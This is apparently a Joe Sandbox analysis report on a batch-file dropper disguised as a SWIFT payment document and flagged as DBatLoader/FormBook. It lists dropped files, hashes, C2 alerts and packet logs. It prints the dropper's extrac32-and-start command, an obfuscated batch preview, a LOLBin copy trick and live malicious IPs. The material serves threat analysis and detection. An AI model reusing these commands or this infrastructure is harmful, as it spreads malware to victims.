                                                                                                                                                                                                          • AMSI enabled
                                                                                                                                                                                                          Analysis Mode:default
                                                                                                                                                                                                          Sample name:z1SWIFT_MT103_Payment_552016_cmd.bat
                                                                                                                                                                                                          Detection:MAL
                                                                                                                                                                                                          Classification:mal100.troj.evad.winBAT@23/8@12/2
                                                                                                                                                                                                          EGA Information:
                                                                                                                                                                                                          • Successful, ratio: 100%
                                                                                                                                                                                                          HCA Information:
                                                                                                                                                                                                          • Successful, ratio: 100%
                                                                                                                                                                                                          • Number of executed functions: 101
                                                                                                                                                                                                          • Number of non-executed functions: 198
                                                                                                                                                                                                          Cookbook Comments:
                                                                                                                                                                                                          • Found application associated with file extension: .bat
                                                                                                                                                                                                          • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                                                          Warnings

                                                                                                                                                                                                          • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                                          • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                          • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                          • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                          • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                          • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                          • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                          • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                          • VT rate limit hit for: z1SWIFT_MT103_Payment_552016_cmd.bat

                                                                                                                                                                                                          Simulations

                                                                                                                                                                                                          Behavior and APIs

                                                                                                                                                                                                          TimeTypeDescription
                                                                                                                                                                                                          03:04:08API Interceptor2x Sleep call for process: x.exe modified
                                                                                                                                                                                                          03:04:24API Interceptor8204002x Sleep call for process: explorer.exe modified
                                                                                                                                                                                                          03:05:02API Interceptor7236041x Sleep call for process: cscript.exe modified

                                                                                                                                                                                                          Joe Sandbox View / Context

                                                                                                                                                                                                          IPs

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          50.116.93.185Order Specifications for Materials.docx.vbsGet hashmaliciousDBatLoader, FormBookBrowse

                                                                                                                                                                                                            Domains

                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                            himalayastrek.comOrder Specifications for Materials.docx.vbsGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                                                                            • 50.116.93.185

                                                                                                                                                                                                            ASNs

                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                            UNIFIEDLAYER-AS-1USOrder Specifications for Materials.docx.vbsGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            https://mailhotcmhakamloops.wordpress.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 69.49.230.198
                                                                                                                                                                                                            EVER ABILITY V66 PARTICULARS.pdf.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                                            • 50.87.144.157
                                                                                                                                                                                                            MV. NORDRHONE VSL's PARTICULARS.xlsx.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                                            • 50.87.144.157
                                                                                                                                                                                                            MUM - VESSEL'S PARTICULARS.pdf.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                                            • 50.87.144.157
                                                                                                                                                                                                            Electronic_Receipt_ATT0001.htmGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 69.49.245.172
                                                                                                                                                                                                            Oakville_Service_Update_d76b33a1-3420-40be-babd-e82e253ad25c.pdfGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                            • 192.185.12.205
                                                                                                                                                                                                            http://dcrealestateclasses.com/sirmy359ka/logfds65475mnvn/0Px7KgmP2ER6zsKKoRahD/ZGFuaWVscGxvdHRlbEBxdWFudGV4YS5jb20=Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 192.185.13.169
                                                                                                                                                                                                            https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlGet hashmaliciousMamba2FABrowse
                                                                                                                                                                                                            • 108.179.193.4
                                                                                                                                                                                                            la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 173.83.36.198
                                                                                                                                                                                                            DIGITALOCEAN-ASNUSB6eg13TpEH.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 167.174.106.207
                                                                                                                                                                                                            https://assets-usa.mkt.dynamics.com/a915fd66-2592-ef11-8a66-00224803a417/digitalassets/standaloneforms/3d7495e3-e695-ef11-8a69-000d3a3501d6Get hashmaliciousMamba2FABrowse
                                                                                                                                                                                                            • 165.22.49.66
                                                                                                                                                                                                            https://abre.ai/lmHCGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 167.71.108.29
                                                                                                                                                                                                            la.bot.arm7.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 103.253.147.242
                                                                                                                                                                                                            la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 139.59.170.188
                                                                                                                                                                                                            la.bot.arm7.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 103.253.147.242
                                                                                                                                                                                                            V9fubyadY6.exeGet hashmaliciousQuasarBrowse
                                                                                                                                                                                                            • 164.90.236.65
                                                                                                                                                                                                            la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 167.71.77.78
                                                                                                                                                                                                            splm68k.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 178.128.224.218
                                                                                                                                                                                                            arm.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 107.170.128.150

                                                                                                                                                                                                            JA3 Fingerprints

                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                            a0e9f5d64349fb13191bc781f81f42e1Order pdf.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            Proforma Fatura ektedir.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            PO-004976.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            Order Pdf.exeGet hashmaliciousDBatLoaderBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            Transferencia.xlsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            Orden de Compra No. 434565344657.xlam.xlsxGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            Order Pdf.exeGet hashmaliciousDBatLoaderBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            ORDEN7873097067.xlam.xlsxGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                            • 50.116.93.185
                                                                                                                                                                                                            Order Specifications for Materials.docx.vbsGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                                                                            • 50.116.93.185

                                                                                                                                                                                                            Dropped Files

                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                            C:\Users\Public\Libraries\joedgvvL.pifOrder Specifications for Materials.docx.vbsGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                                                                              Payment.cmdGet hashmaliciousAzorult, DBatLoaderBrowse
                                                                                                                                                                                                                ORDER_DOCU_NWQ89403984-DETAILS.MPEG.PNG.CMD.cmdGet hashmaliciousAgentTesla, DBatLoaderBrowse
                                                                                                                                                                                                                  ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmdGet hashmaliciousAgentTesla, DBatLoaderBrowse
                                                                                                                                                                                                                    Julcbozqsvtzlo.cmdGet hashmaliciousRemcos, AveMaria, DBatLoader, PrivateLoader, UACMeBrowse
                                                                                                                                                                                                                      Confirmation.docx.exeGet hashmaliciousDBatLoader, LokibotBrowse
                                                                                                                                                                                                                        ZG7UaFRPVW.exeGet hashmaliciousDBatLoader, RemcosBrowse
                                                                                                                                                                                                                          IN-34823_PO39276-pdf.vbeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                                                                                                                                                                                            7XU2cRFInT.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                                                                                                                                                                                              megerosites.cmdGet hashmaliciousDBatLoader, LokibotBrowse

                                                                                                                                                                                                                                Created / dropped Files

                                                                                                                                                                                                                                C:\Users\Public\Libraries\PNO

                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\x.exe
                                                                                                                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                Size (bytes):4
                                                                                                                                                                                                                                Entropy (8bit):2.0
                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                SSDEEP:3:0vn:0vn
                                                                                                                                                                                                                                MD5:6AF93A2133CA74514FEE8E205000807D
                                                                                                                                                                                                                                SHA1:0DD52E57E1F8C74A43B66D3864D3DA34A56850EA
                                                                                                                                                                                                                                SHA-256:2218C54AC6A0D40E422F1E643C5DF24BCBBE62F33FFE335CA2501DC36629C402
                                                                                                                                                                                                                                SHA-512:B3C527D800AE7BC07668D47A107D43408341E0C24686DCF5B18B0C4817BE94037FDADA2E42F9F6C288F6E3E46C32E85A22DFAC17E37F1E259C7B6C200A0BAD31
                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                Preview:26..

                                                                                                                                                                                                                                C:\Users\Public\Libraries\joedgvvL.cmd

                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\x.exe
                                                                                                                                                                                                                                File Type:DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                Size (bytes):62357
                                                                                                                                                                                                                                Entropy (8bit):4.705712327109906
                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                SSDEEP:768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
                                                                                                                                                                                                                                MD5:B87F096CBC25570329E2BB59FEE57580
                                                                                                                                                                                                                                SHA1:D281D1BF37B4FB46F90973AFC65EECE3908532B2
                                                                                                                                                                                                                                SHA-256:D08CCC9B1E3ACC205FE754BAD8416964E9711815E9CEED5E6AF73D8E9035EC9E
                                                                                                                                                                                                                                SHA-512:72901ADDE38F50CF6D74743C0A546C0FEA8B1CD4A18449048A0758A7593A176FC33AAD1EBFD955775EEFC2B30532BCC18E4F2964B3731B668DD87D94405951F7
                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                Preview:@echo off..@echo off..@%.......%e%..%c%...%h%.... ...%o%........% %.%o%.....%f%...%f% ........%..s%.%e%.... %t%r.o......% %....%"%.........%l%.......o.%V%......%W%.....o%a%..........%=%.o....%s%. .o%e%. ....... %t%.% %..%"%.r%..%lVWa%"%......%u%. .%p%.%w%.... %u%.... o...%=%..... %=%... . . %"%.%..%lVWa%"%....%R%.%b%. .... %U%. %p%.%z%...%n% ...%n%...%f%..... . ..%W%.......%i%......%%upwu%C%. .. %l%...%o%........%a%......%"% .... %..%lVWa%"% %r%......%M%....%S%...r... ..%o%....... .%w%.....%X%.....rr%I%..... .

                                                                                                                                                                                                                                C:\Users\Public\Libraries\joedgvvL.pif

                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\x.exe
                                                                                                                                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                Size (bytes):68096
                                                                                                                                                                                                                                Entropy (8bit):6.328046551801531
                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                SSDEEP:1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
                                                                                                                                                                                                                                MD5:C116D3604CEAFE7057D77FF27552C215
                                                                                                                                                                                                                                SHA1:452B14432FB5758B46F2897AECCD89F7C82A727D
                                                                                                                                                                                                                                SHA-256:7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
                                                                                                                                                                                                                                SHA-512:9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 3%
                                                                                                                                                                                                                                Joe Sandbox View:
                                                                                                                                                                                                                                • Filename: Order Specifications for Materials.docx.vbs, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: Payment.cmd, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: ORDER_DOCU_NWQ89403984-DETAILS.MPEG.PNG.CMD.cmd, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmd, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: Julcbozqsvtzlo.cmd, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: Confirmation.docx.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: ZG7UaFRPVW.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: IN-34823_PO39276-pdf.vbe, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: 7XU2cRFInT.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                • Filename: megerosites.cmd, Detection: malicious, Browse
                                                                                                                                                                                                                                Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

                                                                                                                                                                                                                                C:\Users\Public\alpha.pif

                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\esentutl.exe
                                                                                                                                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                Size (bytes):236544
                                                                                                                                                                                                                                Entropy (8bit):6.4416694948877025
                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                SSDEEP:6144:i4VU52dn+OAdUV0RzCcXkThYrK9qqUtmtime:i4K2B+Ob2h0NXIn
                                                                                                                                                                                                                                MD5:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                SHA1:4048488DE6BA4BFEF9EDF103755519F1F762668F
                                                                                                                                                                                                                                SHA-256:4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22
                                                                                                                                                                                                                                SHA-512:80E127EF81752CD50F9EA2D662DC4D3BF8DB8D29680E75FA5FC406CA22CAFA5C4D89EF2EAC65B486413D3CDD57A2C12A1CB75F65D1E312A717D262265736D1C2
                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.l.J.?.J.?.J.?.2(?.J.?.!.>.J.?.!.>.J.?.J.?.K.?.!.>.J.?.!.>.J.?.!.>.J.?.!D?.J.?.!.>.J.?Rich.J.?................PE..L....~.............................. k............@..................................j....@.................................................................p...%...5..T............................................................................text............................... ..`.data...8...........................@....idata...$.......&..................@..@.didat..H...........................@....rsrc...............................@..@.reloc...%...p...&...v..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                C:\Users\Public\xpha.pif

                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\esentutl.exe
                                                                                                                                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                Size (bytes):18944
                                                                                                                                                                                                                                Entropy (8bit):5.742964649637377
                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                SSDEEP:384:PVhNH/TqNcx+5tTAjtn3bPcPwoeGULZbiWBlWjVw:PVhZXx+5tTetLVohULZJgw
                                                                                                                                                                                                                                MD5:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                                                                                                                SHA1:FCF4DAD8C4AD101504B1BF47CBBDDBAC36B558A7
                                                                                                                                                                                                                                SHA-256:4AAA74F294C15AEB37ADA8185D0DEAD58BD87276A01A814ABC0C4B40545BF2EF
                                                                                                                                                                                                                                SHA-512:C613D18511B00FA25FC7B1BDDE10D96DEBB42A99B5AAAB9E9826538D0E229085BB371F0197F6B1086C4F9C605F01E71287FFC5442F701A95D67C232A5F031838
                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G.[...5]..5]..5]..]'.5]..0\..5]..6\..5]..1\..5]..4]Q.5]..4\..5]..=\..5]...]..5]..7\..5]Rich..5]................PE..L....$Z..................*...2......P4.......@....@..................................c....@...... ..........................`a..|....p.. ...............................T............................................`..\............................text....).......*.................. ..`.data........@......................@....idata.......`.......0..............@..@.rsrc... ....p.......<..............@..@.reloc...............F..............@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\x.exe

                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                Process:C:\Windows\System32\extrac32.exe
                                                                                                                                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                Size (bytes):1138688
                                                                                                                                                                                                                                Entropy (8bit):6.909915033459802
                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                SSDEEP:24576:+VL/y4HWMvHg4VLerA+EYyx9XAIDT8Jf3pbV13Jks:Q6MPPRlPAI8t5X
                                                                                                                                                                                                                                MD5:5DBEA6FB56D601307088104C910E1A80
                                                                                                                                                                                                                                SHA1:F39F673EB747A3DC6F95967310B4DA60D290098B
                                                                                                                                                                                                                                SHA-256:F8E7E94532FB7F91162EDD269B0FD97C5BACB63A579F777DC7ACEEBA6102E28B
                                                                                                                                                                                                                                SHA-512:81962AA346FFFE3C1E2A090C3FA549B9A05AE2724C41C9F7271948F617D17C94F5AF608E1CC5C3C71196024D4B9D604E87D57AE723406D50497F557F77CCBE11
                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 26%
                                                                                                                                                                                                                                Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................L.......(.......0....@..............................................@...............................'...`...........................l..................................................T...(............................text...d........................... ..`.itext..L.... ...................... ..`.data....%...0...&..................@....bss.....6...`.......:...................idata...'.......(...:..............@....tls....4............b...................rdata...............b..............@..@.reloc...l.......n...d..............@..B.rsrc........`......................@..@.....................`..............@..@................................................................................................

                                                                                                                                                                                                                                \Device\Null

                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\esentutl.exe
                                                                                                                                                                                                                                File Type:ASCII text, with CRLF, CR line terminators
                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                Size (bytes):560
                                                                                                                                                                                                                                Entropy (8bit):4.533453890248489
                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                SSDEEP:12:q6p4xTXWIceSbZ7u0wxDDDDDDDDjCaY5B4aYA/4TB8NGNv:/p4xT5cp7u0wQakB4aV4t8NC
                                                                                                                                                                                                                                MD5:66FF8566B6184CCB1A67E865C6E492EF
                                                                                                                                                                                                                                SHA1:2B81ECCB962B210EA38A9F9EF42ED8A2495176DE
                                                                                                                                                                                                                                SHA-256:07C0ED2942FD8FC540D973C224DEF31592CF4FEE51053BE96CAA1CA6B4B812CF
                                                                                                                                                                                                                                SHA-512:06656C6BF3A956547E5003EB9311DED7D2BB33F331DA4330DA820A3D330925F5EFCC0744A175260350575DBE10B6AA7E3B4493F1E1A5292FC75893AD1F83D1F7
                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                Preview:..Initiating COPY FILE mode..... Source File: C:\\Windows\\System32\\ping.exe...Destination File: C:\\Users\\Public\\xpha.pif...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... |----|----|----|----|----|----|----|----|----|----|... ..........................................................Total bytes read = 0x4a00 (18944) (0 MB)....Total bytes written = 0x5000 (20480) (0 MB).......Operation completed successfully in 0.63 seconds.....

                                                                                                                                                                                                                                Static File Info

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                File type:Microsoft Cabinet archive data, Windows 2000/XP setup, 4294967295 bytes, 1 file, at 0x75 +A "x.exe", number 1, 35 datablocks, 0 compression
                                                                                                                                                                                                                                Entropy (8bit):6.9093861361494575
                                                                                                                                                                                                                                TrID:
                                                                                                                                                                                                                                • Microsoft Cabinet Archive (8008/1) 99.91%
                                                                                                                                                                                                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.09%
                                                                                                                                                                                                                                File name:z1SWIFT_MT103_Payment_552016_cmd.bat
                                                                                                                                                                                                                                File size:1'139'107 bytes
                                                                                                                                                                                                                                MD5:c00b82b6a7b2073f1887e919d1760aee
                                                                                                                                                                                                                                SHA1:0d32e05789133c3270d16533319cef50deec5483
                                                                                                                                                                                                                                SHA256:005de20d3c71268e4349a23b18e6f464f0632a4d67bc069a478c99d0b8e3f255
                                                                                                                                                                                                                                SHA512:75c4ee6fede361db6a55a0d5f19bc3c7f466973ad28125f739fb5013fbfbd77f0b872b7b0ce2fecf3f3323aca6769ac3989c74e5432b31ee506b3752c3d8b01b
                                                                                                                                                                                                                                SSDEEP:24576:MhL/ykHKM7D84Vz6rcC4Qy19XUMDX8VP3lvV13FQs:maMvj5N7UMY51b
                                                                                                                                                                                                                                TLSH:2F35AE6B35C08735E073427928179A98861C7E312E64606F7DF56F3CEA326453E26FA3
                                                                                                                                                                                                                                File Content Preview:MSCF............u.......................#.......cls && extrac32 /y "%~f0" "%tmp%\x.exe" && start "" "%tmp%\x.exe".....`............ .x.exe.........MZP.....................@...............................................!..L.!..This program must be run und

                                                                                                                                                                                                                                File Icon

                                                                                                                                                                                                                                Icon Hash:9686878b929a9886

                                                                                                                                                                                                                                Network Behavior

                                                                                                                                                                                                                                Suricata IDS Alerts

                                                                                                                                                                                                                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                                                2024-10-30T08:05:37.123357+01002031412ET MALWARE FormBook CnC Checkin (GET)1192.168.2.657601178.128.81.23980TCP
                                                                                                                                                                                                                                2024-10-30T08:05:37.123357+01002031449ET MALWARE FormBook CnC Checkin (GET)1192.168.2.657601178.128.81.23980TCP
                                                                                                                                                                                                                                2024-10-30T08:05:37.123357+01002031453ET MALWARE FormBook CnC Checkin (GET)1192.168.2.657601178.128.81.23980TCP

                                                                                                                                                                                                                                Network Port Distribution

                                                                                                                                                                                                                                TCP Packets

                                                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.621273041 CET49709443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.621316910 CET4434970950.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.621968985 CET49709443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.658004045 CET49709443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.658055067 CET4434970950.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.658703089 CET49709443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.712472916 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.712513924 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.713032961 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.716157913 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:09.716171026 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.391210079 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.391293049 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.395730019 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.395750999 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.396022081 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.442651987 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.456955910 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.499340057 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.617227077 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.617254019 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.617261887 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.617343903 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.617368937 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.665646076 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.733922958 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.733937979 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.733958006 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.734000921 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.734042883 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.734504938 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.734512091 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.734558105 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.851116896 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.851172924 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.851202965 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.851253033 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.890290022 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.890302896 CET4434971050.116.93.185192.168.2.6
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.890374899 CET49710443192.168.2.650.116.93.185
                                                                                                                                                                                                                                Oct 30, 2024 08:04:10.968633890 CET4434971050.116.93.185192.168.2.6
